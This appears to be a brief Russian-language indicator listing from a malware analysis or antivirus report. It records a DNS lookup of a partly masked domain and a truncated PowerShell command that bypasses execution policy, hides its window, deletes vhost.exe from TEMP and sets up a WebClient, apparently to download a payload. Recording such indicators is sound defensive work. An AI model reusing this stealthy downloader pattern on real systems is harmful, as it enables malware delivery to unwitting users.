Техническая информация
- DNS ASK my####owingso.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -executionpolicy bypass -WindowStyle Hidden -noprofile -noexit If (test-path $env:TEMP + '\vhost.exe') {Remove-Item $env:TEMP + '\vhost.exe'}; $cli = New-Object System.Net.WebClient; $cli.Hea...' (со скрытым окном)